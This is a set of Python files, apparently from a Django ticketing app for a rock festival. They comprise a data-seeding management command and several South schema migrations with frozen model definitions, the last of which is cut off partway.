from festivalrock.models import PuntoVenta, PerfilUsuario, Festival, Presentacion,\
Banda, Sector, Descuento, DescuentoAnticipada, Noche
from optparse import make_option
from django.contrib.auth.models import User
from django.contrib.sites.models import Site
from django.utils.datetime_safe import datetime
from decimal import Decimal
class Command(BaseCommand):
option_list = BaseCommand.option_list + (
make_option('--long', '-l', dest='long',
help='Help for the long options'),
)
help = 'Help text goes here'
def handle(self, **options):
'''
'''
vendedor=PerfilUsuario.objects.create(user=User.objects.get(username="ale"),nombre="ale")
print vendedor
site = Site.objects.get(id=1)
site.name = "http://localhost:8000"
site.save()
print site
"""festival = Festival.objects.get(id=1)"""
banda1=Banda.objects.create(nombre="Soda Stereo", categoria=3)
banda2=Banda.objects.create(nombre="AC/DC", categoria=4)
banda3=Banda.objects.create(nombre="Las Pelotas", categoria=2)
banda4=Banda(nombre="Los Redondos", categoria=2)
banda5=Banda(nombre="La Doblada", categoria=1)
print banda1
print banda2
print banda3
print banda4
print banda5
presentacion1 = Presentacion.objects.create(horaInicio=datetime.now(),horaFin=datetime.now(),banda=banda1)
presentacion2 = Presentacion.objects.create(horaInicio=datetime.now(),horaFin=datetime.now(),banda=banda2)
""" presentacion = Presentacion.objects.get(id=1)"""
print presentacion1
print presentacion2
sector1 = Sector.objects.create(nombre="platea-alta",
importeEntradaBase=Decimal(250),
presentacion=presentacion1)
sector1.populate(10,10)
print sector1
sector2 = Sector.objects.create(nombre="popular",
importeEntradaBase=Decimal(110),
presentacion=presentacion2)
sector2.populate(10,10)
print sector2
noche1=Noche.objects.create(nombre="viernes Rockera",fecha=datetime.now())
noche1.agregarPresentacion(presentacion1)
noche1.agregarSector(sector1)
noche1.agregarSector(sector2)
noche1.save()
noche2=Noche.objects.create(nombre="sabado Rockera",fecha=datetime.now())
noche2.agregarPresentacion(presentacion2)
noche2.agregarSector(sector1)
noche2.save()
festival=Festival.objects.create(nombre="Pepsi Music",noches=noche1,duracion=1)
festival2=Festival.objects.create(nombre="Test Music",noches=noche2,duracion=1)
print festival
puntoVenta=PuntoVenta.objects.create(nombre="POS_CENTRO-01")
puntoVenta.agregarVendedor(vendedor)
puntoVenta.agregarFestival(festival)
puntoVenta.agregarFestival(festival2)
puntoVenta.save()
print Descuento.objects.create(nombre="no aplica",porcentaje=Decimal(0))
print Descuento.objects.create(nombre="jubilado",porcentaje=Decimal(30.00))
print Descuento.objects.create(nombre="empleado",porcentaje=Decimal(50.00))
print DescuentoAnticipada.objects.create(nombre="anticipada1",porcentaje=Decimal(20.00),
diasAnticipados=30,presentacion=presentacion1)
pass | Python |
# -*- coding: utf-8 -*-
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding field 'Vendedor.tipoUsuario'
db.add_column('festivalrock_vendedor', 'tipoUsuario',
self.gf('django.db.models.fields.CharField')(default=' ', max_length=1),
keep_default=False)
def backwards(self, orm):
# Deleting field 'Vendedor.tipoUsuario'
db.delete_column('festivalrock_vendedor', 'tipoUsuario')
models = {
'auth.group': {
'Meta': {'object_name': 'Group'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}),
'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'})
},
'auth.permission': {
'Meta': {'ordering': "('content_type__app_label', 'content_type__model', 'codename')", 'unique_together': "(('content_type', 'codename'),)", 'object_name': 'Permission'},
'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['contenttypes.ContentType']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '50'})
},
'auth.user': {
'Meta': {'object_name': 'User'},
'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}),
'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Group']", 'symmetrical': 'False', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}),
'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}),
'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'})
},
'contenttypes.contenttype': {
'Meta': {'ordering': "('name',)", 'unique_together': "(('app_label', 'model'),)", 'object_name': 'ContentType', 'db_table': "'django_content_type'"},
'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100'})
},
'festivalrock.banda': {
'Meta': {'object_name': 'Banda'},
'categoria': ('django.db.models.fields.IntegerField', [], {}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '50'})
},
'festivalrock.butaca': {
'Meta': {'object_name': 'Butaca'},
'estado': ('django.db.models.fields.CharField', [], {'default': "'disponible'", 'max_length': '200'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'numero': ('django.db.models.fields.IntegerField', [], {})
},
'festivalrock.centrodeventa': {
'Meta': {'object_name': 'CentroDeVenta'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'puntosDeVenta': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.PuntoVenta']"})
},
'festivalrock.descuento': {
'Meta': {'object_name': 'Descuento'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'porcentaje': ('django.db.models.fields.DecimalField', [], {'max_digits': '4', 'decimal_places': '2'})
},
'festivalrock.descuentoanticipada': {
'Meta': {'object_name': 'DescuentoAnticipada', '_ormbases': ['festivalrock.Descuento']},
'descuento_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Descuento']", 'unique': 'True', 'primary_key': 'True'}),
'diasAnticipados': ('django.db.models.fields.IntegerField', [], {}),
'presentacion': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Presentacion']"})
},
'festivalrock.entrada': {
'Meta': {'object_name': 'Entrada'},
'codigoBarra': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'descuento': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Descuento']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'porcentajeDescuento': ('django.db.models.fields.DecimalField', [], {'max_digits': '4', 'decimal_places': '2'}),
'presentacion': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Presentacion']"})
},
'festivalrock.entradajubilados': {
'Meta': {'object_name': 'EntradaJubilados', '_ormbases': ['festivalrock.Entrada']},
'entrada_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Entrada']", 'unique': 'True', 'primary_key': 'True'})
},
'festivalrock.entradamayores': {
'Meta': {'object_name': 'EntradaMayores', '_ormbases': ['festivalrock.Entrada']},
'entrada_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Entrada']", 'unique': 'True', 'primary_key': 'True'})
},
'festivalrock.entradamenores': {
'Meta': {'object_name': 'EntradaMenores', '_ormbases': ['festivalrock.Entrada']},
'entrada_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Entrada']", 'unique': 'True', 'primary_key': 'True'})
},
'festivalrock.festival': {
'Meta': {'object_name': 'Festival'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'noches': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Noche']"}),
'nombre': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '50'})
},
'festivalrock.fila': {
'Meta': {'object_name': 'Fila'},
'butacas': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Butaca']", 'symmetrical': 'False'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'numero': ('django.db.models.fields.IntegerField', [], {})
},
'festivalrock.noche': {
'Meta': {'object_name': 'Noche'},
'fecha': ('django.db.models.fields.DateField', [], {}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'presentaciones': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Presentacion']", 'symmetrical': 'False'}),
'sectores': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Sector']", 'symmetrical': 'False'})
},
'festivalrock.presentacion': {
'Meta': {'object_name': 'Presentacion'},
'banda': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Banda']"}),
'horaFin': ('django.db.models.fields.TimeField', [], {}),
'horaInicio': ('django.db.models.fields.TimeField', [], {}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'})
},
'festivalrock.puntoventa': {
'Meta': {'object_name': 'PuntoVenta'},
'festivales': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Festival']", 'symmetrical': 'False'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'vendedor': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Vendedor']", 'symmetrical': 'False'})
},
'festivalrock.sector': {
'Meta': {'object_name': 'Sector'},
'color': ('django.db.models.fields.CharField', [], {'max_length': '10'}),
'filas': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Fila']", 'symmetrical': 'False'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'importeEntradaBase': ('festivalrock.utils.CurrencyField', [], {'blank': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '20'}),
'presentacion': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Presentacion']"})
},
'festivalrock.vendedor': {
'Meta': {'object_name': 'Vendedor'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '50'}),
'tipoUsuario': ('django.db.models.fields.CharField', [], {'max_length': '1'}),
'user': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['auth.User']", 'unique': 'True'})
},
'festivalrock.venta': {
'Meta': {'object_name': 'Venta'},
'butaca': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Butaca']", 'unique': 'True'}),
'entradas': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Entrada']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'vendedor': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Vendedor']", 'unique': 'True'})
}
}
complete_apps = ['festivalrock'] | Python |
# -*- coding: utf-8 -*-
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Deleting field 'Sector.cantidadButacas'
db.delete_column('festivalrock_sector', 'cantidadButacas')
# Deleting field 'Sector.cantidadFilas'
db.delete_column('festivalrock_sector', 'cantidadFilas')
def backwards(self, orm):
# Adding field 'Sector.cantidadButacas'
db.add_column('festivalrock_sector', 'cantidadButacas',
self.gf('django.db.models.fields.IntegerField')(default=0),
keep_default=False)
# Adding field 'Sector.cantidadFilas'
db.add_column('festivalrock_sector', 'cantidadFilas',
self.gf('django.db.models.fields.IntegerField')(default=0),
keep_default=False)
models = {
'auth.group': {
'Meta': {'object_name': 'Group'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}),
'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'})
},
'auth.permission': {
'Meta': {'ordering': "('content_type__app_label', 'content_type__model', 'codename')", 'unique_together': "(('content_type', 'codename'),)", 'object_name': 'Permission'},
'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['contenttypes.ContentType']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '50'})
},
'auth.user': {
'Meta': {'object_name': 'User'},
'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}),
'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Group']", 'symmetrical': 'False', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}),
'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}),
'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'})
},
'contenttypes.contenttype': {
'Meta': {'ordering': "('name',)", 'unique_together': "(('app_label', 'model'),)", 'object_name': 'ContentType', 'db_table': "'django_content_type'"},
'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100'})
},
'festivalrock.banda': {
'Meta': {'object_name': 'Banda'},
'categoria': ('django.db.models.fields.IntegerField', [], {}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '50'})
},
'festivalrock.butaca': {
'Meta': {'object_name': 'Butaca'},
'estado': ('django.db.models.fields.CharField', [], {'default': "'disponible'", 'max_length': '200'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'numero': ('django.db.models.fields.IntegerField', [], {})
},
'festivalrock.centrodeventa': {
'Meta': {'object_name': 'CentroDeVenta'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'puntosDeVenta': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.PuntoVenta']"})
},
'festivalrock.descuento': {
'Meta': {'object_name': 'Descuento'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'porcentaje': ('django.db.models.fields.DecimalField', [], {'max_digits': '4', 'decimal_places': '2'})
},
'festivalrock.descuentoanticipada': {
'Meta': {'object_name': 'DescuentoAnticipada', '_ormbases': ['festivalrock.Descuento']},
'descuento_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Descuento']", 'unique': 'True', 'primary_key': 'True'}),
'diasAnticipados': ('django.db.models.fields.IntegerField', [], {}),
'presentacion': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Presentacion']"})
},
'festivalrock.entrada': {
'Meta': {'object_name': 'Entrada'},
'codigoBarra': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'descuento': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Descuento']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'porcentajeDescuento': ('django.db.models.fields.DecimalField', [], {'max_digits': '4', 'decimal_places': '2'}),
'presentacion': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Presentacion']"})
},
'festivalrock.entradajubilados': {
'Meta': {'object_name': 'EntradaJubilados', '_ormbases': ['festivalrock.Entrada']},
'entrada_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Entrada']", 'unique': 'True', 'primary_key': 'True'})
},
'festivalrock.entradamayores': {
'Meta': {'object_name': 'EntradaMayores', '_ormbases': ['festivalrock.Entrada']},
'entrada_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Entrada']", 'unique': 'True', 'primary_key': 'True'})
},
'festivalrock.entradamenores': {
'Meta': {'object_name': 'EntradaMenores', '_ormbases': ['festivalrock.Entrada']},
'entrada_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Entrada']", 'unique': 'True', 'primary_key': 'True'})
},
'festivalrock.festival': {
'Meta': {'object_name': 'Festival'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'noches': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Noche']"}),
'nombre': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '50'})
},
'festivalrock.fila': {
'Meta': {'object_name': 'Fila'},
'butacas': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Butaca']", 'symmetrical': 'False'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'numero': ('django.db.models.fields.IntegerField', [], {})
},
'festivalrock.noche': {
'Meta': {'object_name': 'Noche'},
'fecha': ('django.db.models.fields.DateField', [], {}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'presentaciones': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Presentacion']", 'symmetrical': 'False'}),
'sectores': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Sector']", 'symmetrical': 'False'})
},
'festivalrock.presentacion': {
'Meta': {'object_name': 'Presentacion'},
'banda': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Banda']"}),
'horaFin': ('django.db.models.fields.TimeField', [], {}),
'horaInicio': ('django.db.models.fields.TimeField', [], {}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'})
},
'festivalrock.puntoventa': {
'Meta': {'object_name': 'PuntoVenta'},
'festivales': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Festival']", 'symmetrical': 'False'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'vendedor': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Vendedor']", 'symmetrical': 'False'})
},
'festivalrock.sector': {
'Meta': {'object_name': 'Sector'},
'color': ('django.db.models.fields.CharField', [], {'max_length': '10'}),
'filas': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Fila']", 'symmetrical': 'False'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'importeEntradaBase': ('festivalrock.utils.CurrencyField', [], {'blank': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '20'}),
'presentacion': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Presentacion']"})
},
'festivalrock.vendedor': {
'Meta': {'object_name': 'Vendedor'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '50'}),
'user': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['auth.User']", 'unique': 'True'})
},
'festivalrock.venta': {
'Meta': {'object_name': 'Venta'},
'butaca': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Butaca']", 'unique': 'True'}),
'entradas': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Entrada']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'vendedor': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Vendedor']", 'unique': 'True'})
}
}
complete_apps = ['festivalrock'] | Python |
# -*- coding: utf-8 -*-
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Deleting model 'Vendedor'
db.delete_table('festivalrock_vendedor')
# Adding model 'PerfilUsuario'
db.create_table('festivalrock_perfilusuario', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('user', self.gf('django.db.models.fields.related.OneToOneField')(to=orm['auth.User'], unique=True)),
('nombre', self.gf('django.db.models.fields.CharField')(max_length=50)),
('tipoUsuario', self.gf('django.db.models.fields.CharField')(max_length=1)),
))
db.send_create_signal('festivalrock', ['PerfilUsuario'])
# Removing M2M table for field vendedor on 'PuntoVenta'
db.delete_table(db.shorten_name('festivalrock_puntoventa_vendedor'))
# Adding M2M table for field usuario on 'PuntoVenta'
m2m_table_name = db.shorten_name('festivalrock_puntoventa_usuario')
db.create_table(m2m_table_name, (
('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True)),
('puntoventa', models.ForeignKey(orm['festivalrock.puntoventa'], null=False)),
('perfilusuario', models.ForeignKey(orm['festivalrock.perfilusuario'], null=False))
))
db.create_unique(m2m_table_name, ['puntoventa_id', 'perfilusuario_id'])
# Changing field 'Venta.vendedor'
db.alter_column('festivalrock_venta', 'vendedor_id', self.gf('django.db.models.fields.related.OneToOneField')(to=orm['festivalrock.PerfilUsuario'], unique=True))
def backwards(self, orm):
# Adding model 'Vendedor'
db.create_table('festivalrock_vendedor', (
('nombre', self.gf('django.db.models.fields.CharField')(max_length=50)),
('user', self.gf('django.db.models.fields.related.OneToOneField')(to=orm['auth.User'], unique=True)),
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('tipoUsuario', self.gf('django.db.models.fields.CharField')(max_length=1)),
))
db.send_create_signal('festivalrock', ['Vendedor'])
# Deleting model 'PerfilUsuario'
db.delete_table('festivalrock_perfilusuario')
# Adding M2M table for field vendedor on 'PuntoVenta'
m2m_table_name = db.shorten_name('festivalrock_puntoventa_vendedor')
db.create_table(m2m_table_name, (
('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True)),
('puntoventa', models.ForeignKey(orm['festivalrock.puntoventa'], null=False)),
('vendedor', models.ForeignKey(orm['festivalrock.vendedor'], null=False))
))
db.create_unique(m2m_table_name, ['puntoventa_id', 'vendedor_id'])
# Removing M2M table for field usuario on 'PuntoVenta'
db.delete_table(db.shorten_name('festivalrock_puntoventa_usuario'))
# Changing field 'Venta.vendedor'
db.alter_column('festivalrock_venta', 'vendedor_id', self.gf('django.db.models.fields.related.OneToOneField')(to=orm['festivalrock.Vendedor'], unique=True))
models = {
'auth.group': {
'Meta': {'object_name': 'Group'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}),
'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'})
},
'auth.permission': {
'Meta': {'ordering': "('content_type__app_label', 'content_type__model', 'codename')", 'unique_together': "(('content_type', 'codename'),)", 'object_name': 'Permission'},
'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['contenttypes.ContentType']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '50'})
},
'auth.user': {
'Meta': {'object_name': 'User'},
'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}),
'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Group']", 'symmetrical': 'False', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}),
'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}),
'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'})
},
'contenttypes.contenttype': {
'Meta': {'ordering': "('name',)", 'unique_together': "(('app_label', 'model'),)", 'object_name': 'ContentType', 'db_table': "'django_content_type'"},
'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100'})
},
'festivalrock.banda': {
'Meta': {'object_name': 'Banda'},
'categoria': ('django.db.models.fields.IntegerField', [], {}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '50'})
},
'festivalrock.butaca': {
'Meta': {'object_name': 'Butaca'},
'estado': ('django.db.models.fields.CharField', [], {'default': "'disponible'", 'max_length': '200'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'numero': ('django.db.models.fields.IntegerField', [], {})
},
'festivalrock.centrodeventa': {
'Meta': {'object_name': 'CentroDeVenta'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'puntosDeVenta': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.PuntoVenta']"})
},
'festivalrock.descuento': {
'Meta': {'object_name': 'Descuento'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'porcentaje': ('django.db.models.fields.DecimalField', [], {'max_digits': '4', 'decimal_places': '2'})
},
'festivalrock.descuentoanticipada': {
'Meta': {'object_name': 'DescuentoAnticipada', '_ormbases': ['festivalrock.Descuento']},
'descuento_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Descuento']", 'unique': 'True', 'primary_key': 'True'}),
'diasAnticipados': ('django.db.models.fields.IntegerField', [], {}),
'presentacion': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Presentacion']"})
},
'festivalrock.entrada': {
'Meta': {'object_name': 'Entrada'},
'codigoBarra': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'descuento': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Descuento']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'porcentajeDescuento': ('django.db.models.fields.DecimalField', [], {'max_digits': '4', 'decimal_places': '2'}),
'presentacion': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Presentacion']"})
},
'festivalrock.entradajubilados': {
'Meta': {'object_name': 'EntradaJubilados', '_ormbases': ['festivalrock.Entrada']},
'entrada_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Entrada']", 'unique': 'True', 'primary_key': 'True'})
},
'festivalrock.entradamayores': {
'Meta': {'object_name': 'EntradaMayores', '_ormbases': ['festivalrock.Entrada']},
'entrada_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Entrada']", 'unique': 'True', 'primary_key': 'True'})
},
'festivalrock.entradamenores': {
'Meta': {'object_name': 'EntradaMenores', '_ormbases': ['festivalrock.Entrada']},
'entrada_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Entrada']", 'unique': 'True', 'primary_key': 'True'})
},
'festivalrock.festival': {
'Meta': {'object_name': 'Festival'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'noches': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Noche']"}),
'nombre': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '50'})
},
'festivalrock.fila': {
'Meta': {'object_name': 'Fila'},
'butacas': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Butaca']", 'symmetrical': 'False'}),
